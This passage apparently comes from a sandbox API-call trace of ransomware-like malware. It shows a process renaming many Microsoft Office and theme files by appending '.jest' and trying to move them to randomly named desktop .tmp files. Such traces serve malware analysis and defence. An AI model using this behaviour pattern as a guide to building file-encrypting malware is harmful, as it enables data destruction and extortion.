CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.060] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml.jest")) returned 1 [0168.073] VarBstrFromR4 (in: fltIn=0x479458d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.64") returned 0x0 [0168.074] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterApplicationDescriptors.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\starterapplicationdescriptors.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\dx6Bo6fe-GZVeHMf6yfMy5f3T mS9ymuKwXNvP3rzuAhYy3uP0rG6E4Sd6tRczy9 5bruMiH0sRO3KMfhx8OIxYjWaXWhF9xDQ7.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dx6bo6fe-gzvehmf6yfmy5f3t ms9ymukwxnvp3rzuahyy3up0rg6e4sd6trczy9 5brumih0sro3kmfhx8oixyjwaxwhf9xdq7.tmp")) returned 0 [0168.074] GetLastError () returned 0x2 [0168.075] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﰛ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.075] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml.jest")) returned 1 [0168.078] VarBstrFromR4 (in: fltIn=0x479458d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.64") returned 0x0 [0168.079] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\XML Files\\StarterToolTemplates.xml" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\xml files\\startertooltemplates.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\lULvwjOoCWiEHAitUCD84qc-_I4B5XFPgorTcMTMr8Pm-iEDAMAm1eeRd5_RDjmN4eWVvSq6cS5_mrpxZLgS71fVXpp4NEO3M4v4S.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lulvwjoocwiehaitucd84qc-_i4b5xfpgortcmtmr8pm-iedamam1eerd5_rdjmn4ewvvsq6cs5_mrpxzlgs71fvxpp4neo3m4v4s.tmp")) returned 0 [0168.079] GetLastError () returned 0x2 [0168.079] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.080] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg.jest")) returned 1 [0168.083] VarBstrFromR4 (in: fltIn=0x479458d2, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.64") returned 0x0 [0168.084] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\StaticText.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\statictext.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\CiitYu6l_9PFqc0XYl6G2-gZJDi4IgF4ZUs5H-mfGBnhx-U5ccfPPin NoI51- L-5tKShntbyzAmJ090XRZzAqxzw0fSyPVDYRoa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ciityu6l_9pfqc0xyl6g2-gzjdi4igf4zus5h-mfgbnhx-u5ccfppin noi51- l-5tkshntbyzamj090xrzzaqxzw0fsypvdyroa.tmp")) returned 0 [0168.084] GetLastError () returned 0x2 [0168.085] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.085] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css.jest")) returned 1 [0168.089] VarBstrFromR4 (in: fltIn=0x479458d4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.66") returned 0x0 [0168.090] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Sts.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\sts.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3DMzSk4eME30pOBPExygbcPJd2DaVYIT-mmMFzFiowjkepZ JRCZIyHdwCf3CbAJ DuOBd8g0LdX8yy9OcKleefWIHjbbGvGkLDK.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3dmzsk4eme30pobpexygbcpjd2davyit-mmmfzfiowjkepz jrcziyhdwcf3cbaj duobd8g0ldx8yy9ockleefwihjbbgvgkldk.tmp")) returned 0 [0168.091] GetLastError () returned 0x2 [0168.092] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.092] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css.jest")) returned 1 [0168.097] VarBstrFromR4 (in: fltIn=0x479458d4, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.66") returned 0x0 [0168.098] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\swirl.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\MYAeErU52MRUCH-Uwnwas8i4UMSqK0jIw1Cf-Dquzdd7R NicuwDhVYGjXZ-OTUyMRWDnxxtgpj9pTA0bk8XIIObUb7aZb0reOWgk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\myaeeru52mruch-uwnwas8i4umsqk0jiw1cf-dquzdd7r nicuwdhvygjxz-otuymrwdnxxtgpj9pta0bk8xiiobub7azb0reowgk.tmp")) returned 0 [0168.098] GetLastError () returned 0x2 [0168.098] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.099] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css.jest")) returned 1 [0168.105] VarBstrFromR4 (in: fltIn=0x479458d6, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.67") returned 0x0 [0168.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\swirl.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\BiKWkjhlk3 VfAola0P2u6X064rKLZHT8MbpO7gSqXZdzn psIbpPhJFfOXuFxsUZWYRgqKAiz4i3GJGtdKfbC04GzU-lRCG9VQMG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bikwkjhlk3 vfaola0p2u6x064rklzht8mbpo7gsqxzdzn psibpphjffoxufxsuzwyrgqkaiz4i3gjgtdkfbc04gzu-lrcg9vqmg.tmp")) returned 0 [0168.106] GetLastError () returned 0x2 [0168.108] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="\xfdd2", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.110] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg.jest")) returned 1 [0168.118] VarBstrFromR4 (in: fltIn=0x479458d8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.69") returned 0x0 [0168.119] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveProjectToolset\\TABOFF.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveprojecttoolset\\taboff.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\f8OmYoTQJ-5dLcY3iai9MsMjj8EqCwfte5viQv5UF5OitjrLXwJ_uq1CnN06S0z-tXmPBbFB8PbCU6R1PXz9nfPpoLUIzNj2uBMWl.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\f8omyotqj-5dlcy3iai9msmjj8eqcwfte5viqv5uf5oitjrlxwj_uq1cnn06s0z-txmpbbfb8pbcu6r1pxz9nfppoluiznj2ubmwl.tmp")) returned 0 [0168.119] GetLastError () returned 0x2 [0168.120] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﲓ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML.jest" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml.jest")) returned 1 [0168.124] VarBstrFromR4 (in: fltIn=0x479458d8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.69") returned 0x0 [0168.125] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\OutlookAutoDiscover\\TALK21.COM.XML" (normalized: "c:\\program files\\microsoft office\\office14\\outlookautodiscover\\talk21.com.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\u2KhKLRZD2On5Rfi-_hE qcticGbyWERAfQkN857OCM-PfS1s-IRNhuPSSXKWBFjbOPMnjhTAD4Qc_Ot9ngGDCrke30MG5V1eDByE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\u2khklrzd2on5rfi-_he qcticgbywerafqkn857ocm-pfs1s-irnhupssxkwbfjbopmnjhtad4qc_ot9nggdcrke30mg5v1edbye.tmp")) returned 0 [0168.125] GetLastError () returned 0x2 [0168.125] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.126] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css.jest")) returned 1 [0168.128] VarBstrFromR4 (in: fltIn=0x479458d8, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.69") returned 0x0 [0168.129] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\teal.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\pfdyp1kRs7Ss L8QN0CFtZaNosPgzxvR0gW3y7SFF w4ZCmsNE4V__ foR44DBeucRq1_tbbzQGYlnkKqcJcMQ3P_mU2os9IMM-.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\pfdyp1krs7ss l8qn0cftzanospgzxvr0gw3y7sff w4zcmsne4v__ for44dbeucrq1_tbbzqgylnkkqcjcmq3p_mu2os9imm-.tmp")) returned 0 [0168.129] GetLastError () returned 0x2 [0168.130] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.130] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css.jest")) returned 1 [0168.133] VarBstrFromR4 (in: fltIn=0x479458da, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.7") returned 0x0 [0168.134] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\teal.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Qw8seHRl0ZZmLfuvxs-MoWempovdvmvPrEYgVD9_ 2Jc-Bbxh4oKimlIkOig1CRgSRji oAVSOsky0nwL7ZNoGsFE_0BW2mQoPijI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qw8sehrl0zzmlfuvxs-mowempovdvmvpreygvd9_ 2jc-bbxh4okimlikoig1crgsrji oavsosky0nwl7znogsfe_0bw2mqopiji.tmp")) returned 0 [0168.134] GetLastError () returned 0x2 [0168.134] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.135] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg.jest")) returned 1 [0168.137] VarBstrFromR4 (in: fltIn=0x479458da, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.7") returned 0x0 [0168.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FieldTypePreview\\TEXTBOX.JPG" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\fieldtypepreview\\textbox.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xjvh07DC6J-CD4Ma-Mq0q H AG oIYtx6jsPVtE52c5wYFd96xr58UrKYP KH5Lzd9_IZHPmRV-5Y6_oKl8Eiz5iLm1eyLYN4ec.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xjvh07dc6j-cd4ma-mq0q h ag oiytx6jspvte52c5wyfd96xr58urkyp kh5lzd9_izhpmrv-5y6_okl8eiz5ilm1eylyn4ec.tmp")) returned 0 [0168.139] GetLastError () returned 0x2 [0168.139] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱲ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.142] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png.jest")) returned 1 [0168.144] VarBstrFromR4 (in: fltIn=0x479458da, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.7") returned 0x0 [0168.145] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\9YUqQjG3Wi9vXPbHiHb0sC Jd29eaLM2uOlWDSD6lJFALK6 upsXWo01EoBpcFUKSCtB3PZRs8uw28Onq5UolL4Abr7SXDfWn8GOI.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\9yuqqjg3wi9vxpbhihb0sc jd29ealm2uolwdsd6ljfalk6 upsxwo01eobpcfuksctb3pzrs8uw28onq5uoll4abr7sxdfwn8goi.tmp")) returned 0 [0168.145] GetLastError () returned 0x2 [0168.145] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳔ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png.jest")) returned 1 [0168.148] VarBstrFromR4 (in: fltIn=0x479458dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.72") returned 0x0 [0168.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1sTcRStg-1 eYb_BPIQPS5puhiL2Ucs8fIVUBdC7gBljs3VCZVr2zkRNRDvUCA59xPuDPQVsNJmr7SfsKDAnn_dw FhA-cDZN_NA.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1stcrstg-1 eyb_bpiqps5puhil2ucs8fivubdc7gbljs3vczvr2zkrnrdvuca59xpudpqvsnjmr7sfskdann_dw fha-cdzn_na.tmp")) returned 0 [0168.149] GetLastError () returned 0x2 [0168.149] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﷄ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0168.150] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.jest")) returned 1 [0168.152] VarBstrFromR4 (in: fltIn=0x479458dc, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75953.72") returned 0x0 [0168.153] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XN4bMsWyvKxqksyWPXDvs9Xb37v7uiDhg_Q6XgVXZfGiDGRvRlKhJ8 V09r5fYUqV6ZLB6wOW0NL0b7uhWScFwq_YmQcq3bGsqysd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xn4bmswyvkxqksywpxdvs9xb37v7uidhg_q6xgvxzfgidgrvrlkhj8 v09r5fyuqv6zlb6wow0nl0b7uhwscfwq_ymqcq3bgsqysd.tmp")) returned 0 